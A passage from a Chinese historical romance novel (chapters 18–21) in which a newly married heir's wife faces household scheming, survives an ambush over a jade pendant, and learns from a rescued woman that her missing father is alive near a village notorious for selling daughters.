眼前的女孩不过十岁左右，一双眼睛大而亮，五官跟叶温凛相差不大，楚檀心一软，世子小时候也会是这幅可人的模样吧。
“嫂嫂退回那些侍女，可是不喜她们？”
什么侍女？她何时遣散过？楚檀百思不得其解，她今日连院里的侍女都未曾认清。
“难道是不喜母亲的安排？”
这么大一顶帽子扣下来，楚檀心中刚升起的亲切感顿时消失的无影无踪，原来不是与世子相像，而是随了王爷。
她这兴师问罪的样子让楚檀想了半天才憋出个说法来，“没有做错事，不过是院里人太多，不需要罢了。”
“不过两人哪里多了，兄长平日里一人院里少些人没关系，现在嫂嫂嫁进来，总得有人替你梳妆不是，我看啊，我还是把人送回来吧。”
“真不用。”
她不曾遣散过侍女，那便是世子的安排。
“嫂嫂与兄长院里也不能缺了人手啊，要是传了出去，不是打母亲的脸吗？”
就在楚檀嫌弃自己嘴拙，竟说反驳的话时，一道清朗的声音传来：
“要是真让她们进入我这院子服侍，才会丢母亲的脸。”
18. 兄长
“二哥这是何意？”叶雪宜明显是来找茬的，见叶温凛也不怕，“母亲是好意，不想委屈嫂嫂而已。”
“我当然知道母亲是好意，所以才把人送了回去，”叶温凛行至楚檀身旁，理了理她本就规整的衣领，“你是第一次见你嫂嫂，没看出来她这衣裳有什么不对劲吗？”
楚檀：“……”
哪里不对劲？
叶雪宜听到叶温凛的话还真围着楚檀转了转，她身为王府嫡女，穿戴自是比一般人精细些，也就能看出问题来，“是有些不大合身，”
“不过这与那两个侍女有何关？”
“替阿檀量身的侍女便是她二人，做出来的衣裳也都大了许多。”
楚檀听到这里，想解释什么，还没等她开口，叶温凛就搂上她的腰，手还收紧了些。
“要是让人知道替世子妃量错身的侍女是母亲特意安排的，可要让人误会了。”
“女子都是爱美的，许是嫂嫂想要在大婚时给二哥一个惊喜，平日里少吃了些，这才导致衣裙不合身，何况嫂嫂为了寻找她父亲连日奔波，定是消瘦不少。”
没想到一个十岁小孩竟如此巧舌弹簧。
“可是婚服却是合身的，唯有这几件，不对。”
楚檀与叶温凛的婚服是由老夫人亲自请宫里的人来做的，而平日里的衣裳则交给了王妃的人去操办。
“量身这些小事就是都做不好，岂不是辜负了母亲的管教，”叶温凛说到这，笑得更深了，“还是说她们是……”
“他们确实辜负了母亲的教诲，该罚。”叶雪宜不是来把火引到她母亲身上的，扔下一句就走了。
而叶温凛趁她还没走远故意对着周围的人立起规矩，“以后世子妃的衣物首饰都仔细些，本世子会亲自过问。”
楚檀看着叶雪宜落荒而逃的背影感慨万分，语气里还带着一丝丝钦佩，“小小年纪就如此能说会道。”
“我要是有她一半能说该有多好。”
她在她这般年纪，还不敢在外人面前说这么多话。
叶温凛松开手，认真说道：“夫人可比她好多了。”
“不过那两个侍女并没有疏忽，的确是我瘦了许多，婚服能合身也是有嬷嬷在一旁修改。”
“我知道。”
“那你为何要赶走那两个侍女？”楚檀一想，接着又问，“因为她们是王妃派来的人？”
“夫人聪慧，”叶温凛将桌上楚檀倒好的茶水递给她，又重新给自己倒了一杯，“以后记得离他们远些。”
楚檀点点头，十分赞同。
不过她想的是这临阳王府的人会说话真是一脉相承，她不过是说出摆在明面上的事，就能得来他一句聪慧。
叶温凛一杯茶水刚下肚，青玉匆匆进来，“世子。”
“何事？”叶温凛的不耐快有些压不住，他捏着茶杯忿忿地想，怎么就不能消停会？
“太子殿下派人请您进宫。”
叶温凛：“……我知道了。”
楚檀看着叶温凛无可奈何的神情，又给他斟了杯茶，“太子殿下应该是有要事。”
“你这就要送客吗？”叶温凛看着他眼前斟满的茶水。
楚檀：“……”
她连忙找补：“不是，世子是夫君，不是客人。”
“说的也是。”于是一饮而尽，出门了。
楚檀想着叶温凛一时半会不会回来，毕竟他们出门这么久，应是有许多公务上的事要商议。
不过没想到，月落下来，直到半夜，叶温凛还没回来。
她撑着手臂在桌上半睡半醒，脑袋一点一点。
“世子妃，你快些歇息吧。”
“不了，”楚檀半睁着眼拒绝，“等世子回来再说。”
她倒是想歇下，不过她真要躺下，那灯是灭还是不灭？
夫君还未归家，她便熄灯歇息，怎么可以。
要是不灭，那坐这跟躺床上也没有区别，横竖是睡不着的。
叶温凛归家时，府内早已撤下灯笼，只留着几盏灯，可他小院却是灯火通明。
心中不自觉涌起一股暖流。
他小心地将暖流的源头抱起，却不想楚檀还是醒了，不过她此时有些迷糊，完全没有注意到自己躺在别人怀里。
“你回来了？我替你更衣。”她说着便要起身，可眼睛还没完全睁开。
“不用，你先睡，”叶温凛将她拉了回去，轻放在床上，“等明日我在跟你说个好消息。”
楚檀闭着眼又要起来，于是叶温凛又将周围的烛火都灭了，见她如此，才回到隔壁的盥洗室。
什么好消息？
难道是有爹爹的消息了？
楚檀躺在床上望着红火的窗幔发呆，她好想把世子晃醒，不过还是一如昨日忍住了。
要是爹爹回来，见到她嫁为人妇，不知有何感想，是该高兴她能嫁给世子这般好的人，还是会气太后乱点鸳鸯谱。
想来是后者，毕竟爹爹一心想要帮她找个与自己心意相通的人，世子品行样貌虽是极好，却不能……
她明明偏过头看着枕边人，思绪却不知道飘到哪里去了，所以叶温凛醒来睁开眼也就没有发现。
“夫人？”叶温凛一睁眼便见到了想见之人，嘴角自然而然勾起，觉得呆呆的楚檀也甚是可爱。
“嗯？”楚檀犹如被惊吓到的兔子，见眼前人是他，才放下防备“世子醒啦。”
楚檀本想起来，但叶温凛似乎没有要起来准备，他撑起半边身子问她：“夫人刚刚想想什么？这么出神？”
两人还是头一次躺着在床上说话，她坐起身将锦被抱在胸前，遮盖一点不自在，“我在想昨晚世子想要与我说个什么好消息？”
叶温凛想着楚檀现在想听的不过是她父兄的消息，也不卖关子，“是有你兄长的消息了。”
“真的吗？”楚檀的眼睛一下就亮了，她凑到他面前，“那我兄长现在何处？”
叶温凛看着爬过来的楚檀，他们之间的距离一拳，他呼吸突然就不顺畅了。
他轻轻咳了咳，想润润干燥的喉咙，还未说话，楚檀就麻利跑下床倒了杯水。
她真是，极看重她的父兄。
“世子，将就一下，现在只有凉水。”
“无妨。”他现在就需要的就是凉水。
“具体细节我不便透露，但是我保证他现在很安全。”
“没有危险就好。”
楚檀拍拍胸口，之前大理寺的人也跟她说过差不多的话，可没有想叶温凛这般令人安心。
“那我兄长很是能回来？”
“短则两三日，长则十天，反正不会超过一个月。”
“那我岂不是马上就能见到了？”楚檀一想到马上就能见到许久不见的兄长，甚是高兴，这一高兴过了头，就多问了一句，“世子可是从太子殿下哪儿得来的消息？”
叶温凛叹气不语，就只是看着她。
楚檀连忙捂住嘴，“对不起，我不该多问。”
“没有什么不该问的，我昨日从刚东宫回来，你能这样想也没错。”
“是从殿下那得来的消息，不过……”
叶温凛一顿，楚檀也跟着停住呼吸。
不过什么？
“不过夫人似乎不愿唤我为夫君。”
楚檀：“……”
“夫君。”
“嗯。”
“夫君！”
“嗯！”
“夫君？”
“嗯？”
楚檀：“……”
这还是她认识的临阳世子吗？
“好了好了，”叶温凛受不了楚檀那探究的眼神，他开始转移话题，“只是还没有你父亲的消息。”
出乎意料的是楚檀并没有流出太多的伤感，她哭了太多次，想了太多次。
“不是有一句话叫做：没有消息就是最好的消息吗？”楚檀拍拍脸，给自己鼓气，“只要我不放弃，终有一天会找到爹爹的。”
何况兄长也快回来了。
“好，不放弃，”
“我陪你一起。”
楚檀就这么平平静静过了两日，她白日里总有一种恍惚，恍惚自己还未出阁。
可叶温凛的小院和自己的小院相差太大，她总有种不真实的感觉。
而叶温凛早出晚归，未曾有过一刻空闲，所以在回门当日楚檀见到叶温凛还未走时，有些惊讶：“夫君今日没有公务吗？”
“都推了，今日陪你回门。”
“不必如此，今日就算把事情推脱了，该夫君做的还会是夫君你来，把今日的事堆到明日，那明日岂不是更忙更累了？”
“该我做的还是我来做，”叶温凛重复楚檀的话，想来好笑，“夫人从未上过职，竟懂得这些道理。”
“我听我爹爹说过，公务是逃不了，就算逃得了一时，也逃不了一世，它迟早会回来。”
“我听着都觉烦人得紧。”
“是烦人，不过我今日事情不算多，放到明天也没关系。”
“所以今日有个偷得半日闲的机会，夫人可愿给我？”
“我爹爹和兄长都不在家，夫君陪不陪我回门不回门的，都没关系。”
“还不如把公务处理了，早早回府歇息，岂不是更好？”
楚檀劝起叶温凛来头头是道。
可显然叶温凛并不买账，“可是你的侍女，不是在家等你吗？”
“你回去难道不是为了她？”他看向她的目光变得柔和至极，“她虽然名义上是你的侍女，可我看你待她倒是像对待亲人一般。”
楚檀心头一震。
“你不让她入府跟着
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你，是想她能代替你等父亲和兄长回来吧。”
“是，”楚檀突然揽过叶温凛的胳膊，泪眼闪闪看着他，“知我者，夫君也！”
“我们这就……”
“世子，”
神出鬼没的青鹰突然打断楚檀的话，“太子殿下找你！”
“不是什么大事就别说了，”叶温凛也不问问是什么事，拉着楚檀往门口走，“等我回来再说。”
“等等。”楚檀甩开叶温凛的手，“你先听听青鹰说说是什么事，正事要紧。”
“回门也是正事。”叶温凛看着空唠唠的掌心，不免记下，以后这种事，他得事先提醒殿下，不要有事没事找他！
世子妃兄长的事是不是大事？
青鹰想，应该是的。
他跑到世子身旁，悄悄在叶温凛耳边说道。
看着叶温凛紧锁的眉头，楚檀就知道他居然是陪不成她的。
“夫君你先忙，”
叶温凛听了青鹰的话才意识到事情的严重，“待我处理完事，我去楚家接你。”
“好。”
“青鹰，你跟着世子妃，不要让其他人靠近。”
叶温凛口中的其他人不过是临阳王妃的人，他们这几日不消停，在王府院里他尚且还有侍卫侍女暗中保护楚檀，如今出了王府，倒是更危险些。
将青鹰安排在楚檀身侧，叶温凛今日做过的最明智的决定。
“世子不好了，有人在世子妃回门路上设伏！”
在他与太子一同解决完麻烦后听到楚檀出事的消息时，自认没有乱了神。
“世子妃呢？”
“青鹰在一旁护着，没有受伤。”
可太子还没来得及询问，就见叶温凛驾马而出，完全忘了往日的规矩。
京城内是不允许在闹市骑马，而此时的叶温凛管不了那么多。
叶温凛匆匆下了马，跑到楚檀身边着喘着气问她，“可有受伤？”
“我没事，”楚檀摇摇头，似乎没有受到太多的惊吓，“倒是青鹰为了抢回我的玉佩受了伤。”
“玉佩？”
“又是这枚玉佩。”
“青鹰，可还是同一群人？”
“是。”
青鹰一交手便知，他们习得是同一种武功。
叶温凛眼里闪过一丝阴霾，“看来他们的目标就是它了。”
“你们是在哪遇到埋伏的？”
“就在我家门口不远的街口。”
“世子，他们竟在短时间内就摸清世子妃家中地址和行程，会不会有府里的人帮忙？”
“夫人，就暂且把这玉佩交由我来保管如何？”待叶温凛询问后，他没有将玉佩还回去。
“可以，”楚檀话音刚落，就见叶温凛将玉佩系在他的腰间，“现在有刺客想要它，夫君这么明目张胆地带出来多危险！”
楚檀说着就要把玉佩摘下，“我还是藏在王府吧，王府里全是侍卫，想必他们也不敢闯进去。”
“他们追来京城，是为这玉佩，既然还未得手，那就还会有第二次。”
“与其提心吊胆的守着这玉佩，倒不如利用它引蛇出洞。”
“那世子也不能就这么随便把自己当成靶子。”
“可这一招用的好，也许就能得到你父亲的消息。”
楚檀听到这一愣，更加想要抢回玉佩，“爹爹已经失踪了，世子如此莽撞不可。”
叶温凛差点气出声，“本世子还是头一次听人说我莽撞。”
“那我们回去从长计议可好？”楚檀见抢不过叶温凛，于是打算徐徐图之，“你先把玉佩收起来，今天就不要拿出来了。”
楚檀语气放软：“可好？”
“好。”
楚檀见叶温凛把玉佩收了起来，后知后觉才发现，那是她的玉佩！
自己为何这般低声下气？
“檀儿，爹爹也想你。”楚父这两个月来，经历个各种生生死死，为了百姓，他不后悔踏入这泥潭，却也时常会想起他那一对儿女，
“是为父的错，让我的好女儿担心了。”楚父拍拍楚檀的头，想以此给楚檀一些安慰，也是给自己一些安慰，、。
“檀儿可还过得好？”楚父的手一下子就停下来了，稍稍推开楚檀，望着她的头发，颤抖又不可思议的问：“你的发髻怎么回事？你你你”
屹国的女子在成婚后便会将头发簪上去，楚父望着女儿妇人的发髻，嘴唇抖个不停，你了半天，硬是说不出成婚二字。
到底发生何事了！
楚檀瞧着父亲马上就要暴怒的样子，有些害怕有些退缩
“爹爹，你别生气，等会我便将事情来龙去脉的跟你说。”
叶温凛原本是牵着楚檀的手，楚檀刚刚瞧见她父亲，便松开手，他站在他们父女旁静静等着，
19. 线索
楚家门口。
叶温凛见到楚檀，才开始在马上平复气息。
“可有受伤？”
“有青鹰保护我，我没事。”楚檀摇摇头，似乎没有受到太多的惊吓，“倒是青鹰为抢回我的玉佩，手被他们砍伤了。”
“又是这枚玉佩。”叶温凛接过楚檀手中的玉佩，转向青鹰，“可与我们之前遇到的刺客是一路人？”
“是。”
青鹰一交手便知，他们习得是同一种武功。
“看来他们的目标就是它了。”
“世子，他们既能在世子妃家门前埋伏，想必是摸清世子妃家中地址和我们的行程，”青鹰悄悄靠近叶温凛，“能在短时间内完成这些，他们是不是京城里有人？”
叶温凛眼里闪过一丝阴霾，“又或许是有府里的人帮忙。”
“夫人，把这玉佩暂且交由我来保管如何？”叶温凛突然问向楚檀。
“好。”楚檀以为叶温凛是要帮她放在安全的地方，却不想她话音刚落，就见叶温凛将玉佩系在他的腰间。
楚檀：“！”
“现在有刺客想要它，夫君这么明目张胆地带出来多危险！”
楚檀说着就要把玉佩摘下，“还是我自己带回王府吧，王府里全是侍卫，只要收起来，想必他们也不敢闯进去。”
叶温凛更快一步取下玉佩握在手中，楚檀又继续去扒他的手。
“他们追来京城，是为这玉佩，既然还未得手，那就还会有第二次。”
“夫人与其提心吊胆的守着这玉佩，倒不如利用它引蛇出洞。”
“不好不好，太危险了。”楚檀继续用力。
“夫人放心，他们不是我的对手，”叶温凛笑得轻松，还有心情逗楚檀开心，将玉佩高高举起，“夫人你这样可是拿不到这玉佩的。”
“世子你……”
楚檀踮起脚尖，一手攀着叶温凛的肩，另一只手怎么也够不着，“世子，不要，这么莽撞……”
就在叶温凛再三解释自己并非莽撞时，太子顾承启出现了。
“这是没什么事了？都有时间打情骂俏了。”
“太子见笑了。”叶温凛悻悻放下手，脸上还带着顾承启不曾见过的腼腆。
“太子殿下。”楚檀更是后悔，两人大庭广众下拉拉扯扯真是不成样。
“你们刚刚抢什么呢？”
“没什么。”
“你这么说孤更好奇了，”顾承启哪见过叶温凛这样藏着掖着，直接张开手心，“看看。”
“真没什么。”
“既然没什么，看看又怎么了。”
顾承启见叶温凛无动于衷，问向楚檀，“还是说世子妃不方便？”
叶温凛看向楚檀，见她点头，才递给顾承启，“殿下且看看这玉佩可有什么不同之处？”
“不同之处？”顾承启左看右瞧，没有发现，看着那楚檀二字，突然恍然大悟，“这是你们的定情信物？”
叶温凛憋出两字，“不是。”
“那你害羞什么？”
“我，没有害羞，”叶温凛拿回玉佩，“有人因为它三番两次找我们麻烦，我是看不出这枚玉佩暗含什么玄机，才问殿下。”
“孤看不出，”顾承启不再打趣他，“那到底怎么回事？”
……
叶温凛在楚家前厅为顾承启一一说来他们遇刺的情况，楚檀趁机在门口和小寇小声说起楚遇最近很有可能会回来。
“公子真的会回来？”小寇激动不得了，差点没控制住声音：“真的吗？”
她终于不用再一人待在家中了。
“这是世子对我说的，定是没错。”楚檀还带来一张图纸，“这是我这两日所写所画，待兄长回来，你交给兄长，他一看便知。”
上面清清楚楚记录他们前段时间所经过的地方，遇到的事。
楚遇一看就知道发生了什么事。
“我要是不能及时赶回家中，兄长知道爹爹失踪了，自会想办法。”
这一个半月来，她经历了太多事，小寇怕是解释不清。
*
自从楚檀那里得来这枚玉佩，叶温凛便日日戴着，他虽从未刻意提起过，但总有人会注意到身份显贵的临阳世子每日只佩戴一枚普通玉佩。
就有人问他：“世子为何独爱这枚玉佩？”
叶温凛笑得像得了什么宝物般，“这是内人赠与我的定情之物。”
一时间，临阳世子与世子妃恩爱和睦的消息传开，就连楚檀在王府也听说好些流言。
青惠拿起叶温凛给楚檀挑选的百迭裙，“外面的人都说世子对世子妃是一见钟情，才会向太后娘娘请来赐婚旨意。”
“难怪世子对世子妃这般上心。”
青惠还以为世子是被迫娶了楚家姑娘，没想到事实竟是如此，看来青玉没有说实话。
楚檀：“……外面传言不可信。”
都是胡编乱造！
世子为了让全京城的人都知道玉佩在他身上，真是做了很大牺牲。
“可无论如何，世子是极其疼爱世子妃的，您看，就连着这衣裳，世子都要与您相配呢。”
楚檀：“……”
他们的衣裳之所以相配，难道不是因为下人想讨好世子吗？
叶温凛之前吓唬五姑娘时随口定的规矩，让下人琢磨了许久，他们见叶温凛威楚檀挑选的衣裳颜色一样，他们便以为叶温凛喜欢，所以在给她重新挑选的布料与叶温凛大多相似。
后来拿来成衣，楚檀穿得很是合身，叶温凛却不满意，“夫人的衣裳只管按她的爱好来，不必迁就我。”
“再让裁缝来一趟。”
楚檀不想浪费，本来就是极好的料子，不穿可惜。
而且去请安时，她看世子祖母也是极喜欢他们这么穿，她也就更不管了。
按理说，这种情况下，王府应该没有人敢来找楚檀的麻烦，至少不会在明面上。
可偏偏就有一人看不清局势似的往叶温凛院落跑。
“真不用我出面？”
叶温凛低下头见为自己更衣的楚檀，他是昨晚才知道叶雪宜几乎每日都来。
“不用，我可以。”楚檀细细理好叶温凛的腰带，她长叹一口气，今日终于没有打结了。
“为何不用？”
“和五妹妹说话，能学到不少。”
这还是她不久前才发现的。
叶温凛来了兴致，“能学到什么？”
或许他也能教她。
楚檀开始为叶温凛束发，
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淡淡回答他：“找茬。”
叶温凛：“……”
“学这个做什么？”
此话不对，他还真想她学这个不成？
“你别理她，她一向胡搅蛮缠。”
“我原本也不想理她，不过听说五姑娘是特意来找我切磋的。”
“切磋？”
“是，我听下人说五姑娘斗不过其他人，便来我这里撒气，”
叶温凛其他什么话都没听进去，只听得一句，他转过身来，“她拿你撒气？”
“不知真假，”楚檀凑到叶温凛耳边小声说道：“你说会不会是有人在挑拨离间？我那日是偶然间听到的，特别偶然。”
然后她又心虚地往外一看。
“世子要不要去查查？我还记得那两位侍女长什么样。”
“原来夫人还记得有我？”
“我没忘，可毕竟世子总有不在府里的时候，”楚檀将叶温凛推了回去，继续束发，“我如今连个小孩都斗不过，万一遇到王府其他人我该怎么办？”
“五姑娘现在找我麻烦，我虽不能见招拆招，但勉强不落下风，与她争论多了，以后也定会有所长。”
叶温凛看着楚檀好不容易束好发，跟着她松一了口气，“这件事你去找荣姨，她会教你该怎么做。”
她既然想学，那他便给她找来合适的人。
“我今日要晚些回来，同窗设宴，夫人就先用晚膳。”
“好。”
“你在家好好休息。”
叶温凛公务十分繁忙，楚檀跟着他早起晚睡，一时精神颓靡。
无论他怎么劝她都会坚持，“我习惯就好。”
“我今日不困。”
她还要去请荣姨指教。
楚檀今日一整日都没见到叶雪宜，楚檀便开始怀疑是叶温凛出手了，后来听说是叶温凛检查她的琴技，被禁足了一月。
失去一次有所长进的机会，楚檀不觉可惜，心底是实实在在的轻松，完全没了石头压着的感觉。
她厌恶勾心斗角，每次叶雪宜来她都像只被盯上的兔子。
而此时的叶温凛桌前就有一盘烤兔肉。
吏部尚书府，罗府。
罗靖于一院子设宴邀请好友同窗。
叶温凛本与着罗靖本只是点头之交，但不知为何这次会兴冲冲邀请自己，他父亲是自己的顶头上司，对自己多有照拂，也就没拂了他的意。
“温凛兄，你成婚时我不在京城，没能参加你的婚宴，这一杯敬你。”
“多谢。”
“真没想到，我不过是出城游玩了一些日子，温凛兄居然成婚了，真是世事难料。”
“可惜了。”角落里已经有人喝醉，嚷嚷着为叶温凛抱不平，“娶了个对自己没有益处的妻子，实在可惜啊。”
“程兄你可别乱说，临阳世子哪里是靠女子的人啊，”罗靖似笑非笑，他早就看他不顺眼了，他罗靖才是他父亲的嫡子，可他父亲却总认为他比不上叶温凛。
“他可是临阳世子，又是太子伴读，当然是要娶自己心爱之人啊。”
罗靖忍着看笑话的模样，将心爱之人咬的特别重。
他就不信了，叶温凛还能忍得下去。
“温凛兄我说的可对？”
20. 月婆村
叶温凛回府后直奔书房作画，换下带着酒味的衣裳后，让人请楚檀过来。
“夫人可认识这女子？”
“不认识，怎么了？”楚檀睡眼朦胧，正努力地睁大眼。
“她说知道你父亲的下落。”叶温凛短短一句话，就让楚檀瞬间清醒。
她抓着画像连连开口，“怎么回事？她是何人？为什么会知道我爹爹的下落？！”
“夫人别急，你先听我说，”叶温凛从她手里接过画像，拉着她的手安抚她，“今日我去罗府，见到这位姑娘，我们从未见过，她竟喊我为楚公子。”
“楚公子？莫非是把世子当成了兄长？”
“极有可能，”叶温凛在那女子唤他为楚公子时，就想到了楚檀的兄长，“楚遇兄是不是也有一枚相似的玉佩？”
她是在看到他腰间的玉佩后才改口。
“是！”
“兄长的生辰日在我之后，爹娘见兄长也喜欢，便再刻了一块。”
“世子可否带我去见见这姑娘？明日我们可否去罗府问问？”
楚檀急不可耐，要不是还有些理智，她甚至想深夜前去拜访。
“她是罗府嫡子的妾室，被人当成疯子抓了起来，上门拜访是见不她的。”
“疯子？她怎么会是疯子呢？她都知道我爹爹的下落。”
“她肯定不是！”
楚檀怎么会接受那姑娘是疯子，疯子的话是不可信的，她好不容易才有爹爹的消息，她怎能不信？
“她不是，夫人放心，”眼看楚檀的情绪就要稳不住，叶温凛将他抱在怀里，“他们只是想把她关起来才会那样说。”
“那姑娘眼神清明，不像是有疯癫之症。”
“那我要做什么才能见到她？”
“我让青玉去盯着了，待时机成熟，青玉会将人带回来的。”
“真的吗？我真的能见到她吗？”
“嗯。”
“世子，青玉说守着这位女子的人有十余人，要是明抢，怕是不好脱身。”
“十余人？”
一个妾室，竟需要罗靖派十余人看守。
“青鹰你去协助青玉，今晚务必把人带回来。”
“他们还不知什么时候回来，夫人先回去歇息，人一带来，我再叫夫人。”
“不，我中午睡了很久，我就在这等。”
一旦涉及到她父兄的事，楚檀就会变得十分固执，叶温凛不再劝她。
“屏风后面有张软榻，要是累了，便去上面歇会。”
“多谢世子，”楚檀不想这么眼巴巴的等，她指了指叶温凛的书桌，“世子的笔墨可否借我一用？”
“这里的东西，夫人随意。”
叶温凛沐浴回来后，楚檀正在练字。
“写什么呢？”
“写……”楚檀一顿，她也不知自己写的是什么，于是翻开一看，“抄了一篇兵书里的文章。”
抄书练字是让人静下来的好法子，她刚刚情绪太激动了。
“我的字可还好？”
“后面极好。”
她刚开始的字就像她方才一样，运笔迅速浮躁，
中间才渐渐有了慢下来的迹象，就像是将心底的期望不安压下去。
越往后，才越自然流畅，布局和谐。
“是哪位老师教夫人写字？”
能教出楚檀这样的学生，其老师也是不俗。
“是我爹爹。”
“爹爹他临走之前说，要是我能在他回来之前把《道德经》都抄下来，他便再为置办一身衣裳。”
她现在哪里还缺衣裳，只不过是想早点见到人罢了。
“可我一字未写。”
“现在也来得及。”叶温凛将书翻出来放在桌上，剪去蜡线，让楚檀更好抄写。
两人一人看书，一人练字。
场面安静地不像话。
楚檀让叶温凛先去歇息，他没去。
她还以为自己已经习惯了晚睡，午时又睡了很久，肯定能等来青鹰青玉。
只是她不知道的是，对于自己来说相当晚的时辰，在叶温凛眼里，根本不算什么。
他一直顾及她睡觉不能有光，处理事务已经有所收敛，不像之前那般没日没夜。
到了后半夜，叶温凛还很清醒。
楚檀眼前却是越发模糊，手里的笔不受控制的游走在纸面上。
叶温凛行至她身后，将她的头靠在他身上，轻轻抚摸她的秀发，“睡吧。”
就在叶温凛刚把的灯掐灭时，青玉回来了。
“世子，我们回来了！”
*
姜盈蜷缩在罗府的一处院子里，绝望而悔恨。
她不管疼痛把手臂咬出血，怪自己太冲动，就这么错过了最佳的逃跑时机。
明明只要再跑快一些，再跑快一些，就不会被罗府侍卫追上，就不会到处乱窜认错人。
可是，
他真的不是楚大人的儿子吗？
她该怎么办？
姜盈闭上眼，将眼里的泪水全都逼回去。
她苦思良久，终于不再自欺欺人，那位公子衣着华丽，面容与楚大人所画并无相似之处。
到底是自己慌张了，见到一块玉佩就把它当成了救命稻草。
姜盈睁开眼，眼里的懊悔已经被坚定代替。
她不信自己逃不出去！
所谓机会掌握在自己手里，当有人要带她出去时，她毫不犹豫就跟了上去。
即使她根本不认识眼前之人，也不知他口中的世子是谁。
总之，先离开！
再见到叶温凛时，她便觉得自己赌对了。
楚檀比之前还要更快的清醒过来，她现在只想问她爹爹在哪，可一见到人，再开口就变了，“姑娘你，还好吗？”
眼前的女子太过狼狈，浑身乱糟糟的，一边脸肿了起来，嘴角还沾有血迹。
不过还能看出来是个美人。
“多谢这位夫人的关心，我没事。”
“你是今晚的那位公子？”
“在下叶温凛。”
叶温凛？不姓楚？
“你不是楚遇？”姜盈听到叶温凛不是楚大人的儿子后，她突然警惕起来，“那你为何救我？”
“姑娘你认识我兄长？是我爹爹让你去找兄长的吗？你真的知道我爹爹在哪？”
姜盈的问题还没得到回答，就被问得哑口无言。
“别急，别急，夫人一个一个问题来，这位姑娘才能好好说清楚。”
“啊，是，”楚檀反应过来，连忙换了语气，“对不住，是我失礼了，没吓到你吧？”
“
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你是楚大人的女儿？”
“是。”
“这位叶公子身上的那枚玉佩是你的？”
“是。”
姜盈听楚大人说起过他还有一个女儿，不过她不爱出门，她来京城怕是见不到她，所以也就没有画像。
可她怎么记得楚大人的女儿似乎没有成亲？
还不等姜盈细想，楚檀开口问道：“你能跟我说说我爹爹的事吗？他还好吗？”
“楚大人他，”姜盈眼里闪过一丝内疚，“他双腿受了伤，不能行走。”
“受伤了？我爹爹怎么受伤了？”
“因为他知道了不该知道的事，”姜盈像是难以启齿，“楚大人他意外发现了我们月婆村的秘密。”
月婆村在几百年前还只是一个很偏僻的小村庄，村里人都姓姜，这里的人都过着与世隔绝的日子。
后来慢慢与周围的村庄有了往来，村子的人也渐渐多了起来，来往的百姓有了一个了不得的发现。
姜氏女易孕。
没有孩子的男人娶了姜氏女，不久后便会有好消息传来。
没过多久，月婆村的名气传开，子嗣艰难的人家会特意来求娶姜氏女。
为了传宗接代，抬来的彩礼自是丰厚，村里人也乐意自己的孩子过上好日子。
家家户户有了彩礼，不用干活都能吃上肉。
靠吃彩礼度日的情况愈演愈烈，有人见钱眼开，干起卖女的勾当。
女孩不够，便生，生下来，就是白花花的银子。
还不够，就抢。
月婆村的人成了好吃懒做，卖女为生的强盗。
强盗的日子越滋润，姜氏女子的命运就越坎坷。
好在老天开眼，百年后，姜氏女如同寻常女子，不能为不孕男子传宗接代，姜氏卖女的惨案也就告一段落。
楚檀心里被姜盈的话掀起惊涛骇浪，她捂着嘴不敢相信，“世上竟还有这样的事！”
叶温凛同样倍感惊讶，不过他曾在书里见过类似的故事，以为不过是野史罢了。
“所以说，现在月婆村里的姑娘又能为不孕之人诞下孩子吗？”
“是不是真能生下孩子，我不知道，可今年嫁出去的姑娘都怀了身孕。”
“月婆村还有人信这些吗？”
“他们怎么会不信？”姜盈毫不客气地嘲讽，“这种轻而易举就是发家致富的捷径什么人能抵挡的了？”
“更何况，他们根本就不能称之为人！”
楚檀和叶温凛不再说话，青鹰青玉也在一旁默默听着姜盈诉说。
“这一年来，我的那些姐姐陆陆续续传来怀有身孕的消息，他们就以为老天不再惩罚他们。”
“他们得意忘形，竟大庭广众这些议论以后要受多少彩礼才能卖女。”
“可他们没想到竟被楚大人听个一清二楚。楚大人还未离开，就被村里的人拦了下来。”
“他们不知他听去多少，索性一不做二不休，竟追着楚大人打。”
他们等这个机会等了多久，又怎么会让一个外人坏了他们的好事。
楚檀的眼泪从一开始就未停过，“后来呢？”
“好在楚大人逃出了村外，被我弟弟藏了起来，我弟弟将他安置在村后养伤，才不至于丢了性命。”
“多谢姑娘，楚檀无以为报！”
21. 古月婆村
在从当事人口中得知自己父亲还活着的消息，楚檀泣不成声，她站在姜盈面前，极其郑重地行礼，“多谢，多谢姑娘。”
“救命的大恩，楚檀定会竭尽所能报答！”
“夫人说什么呢，要不是楚大人，我还不能出那罗府。”姜盈苦笑道：“何况救楚大人性命的是我阿弟，我不过是悄悄送些吃食，连楚大人的腿伤我都束手无策。”
她没有银子去买好的伤药，楚大人的伤便一直拖着不好。
原来她叫姜盈。
“可是姜盈姑娘，没有食物，我爹爹也是性命难保。”
楚檀虽然心疼，却明事理，救她爹爹的人她都会好好报答。
只是她有些疑惑，“姜盈姑娘，我爹爹为何让你去找我兄长？你出现在罗府，难道是因为被，被……”
楚檀不信这天下真有人会卖掉自己的亲生孩子，可叶温凛却见惯了人心险恶，“姑娘是被你父母卖给罗靖的？”
罗靖比他成亲还要早，可至今，还未听说过有孩子。
“是。”姜盈说起罗靖脸上浮现出憎恶的神色，“他不知从哪里得来姜氏女易孕的消息，竟直接来村里挑人，还选中了我。”
姜盈想到当日，越发咬牙切齿，“他给了我爹娘三千两银子，想将我直接带走，是我哭着求着让他们再让我待一天。”
“也就是这个时候，楚大人给了我夫人兄长的画像，让我到了京城一定要想方设法找到他，他是大理寺的捕快，一定会救我的。”
“楚大人还说他有一块玉佩一直贴身带着，很好认。”
“所以姜盈姑娘误认为世子是我兄长楚遇？”
原来真是这样。
“当时情况紧急，世子长相虽不像画中之人，我却顾不了那么多了。”
“错把世子当成楚遇，是姜盈的不是。”
叶温凛并不在意这种小事，他更想知道另外一件事，“可是姜姑娘，我们也曾去过月婆村寻人，整整十日，都不曾有过一丝消息。”
“就算是村里的人想要刻意隐瞒此事，可那么多人，都没有露出过一次破绽，月婆村的人是如何将此事做得天衣无缝的？”
他的暗探也没有查出什么来。
楚檀细细想起她问过的人，时间虽过去半个月，她有些记不清，但又觉得每个人的反应都很正常。
“我拿着画像将月婆村都跑遍了，就连小孩子都说没有见过。”
“还是我就不曾遇到过姜盈姑娘的弟弟？”
她当时已表明了是为寻父而来，如果遇见了，姜盈的弟弟又怎么不跟她说实话？
姜盈并不意外，“因为世子和夫人去到的地方并不是月婆村，或者说，不是古月婆村。”
夜深露重，叶温凛给楚檀披上衣袍，他们听着姜盈娓娓道来：
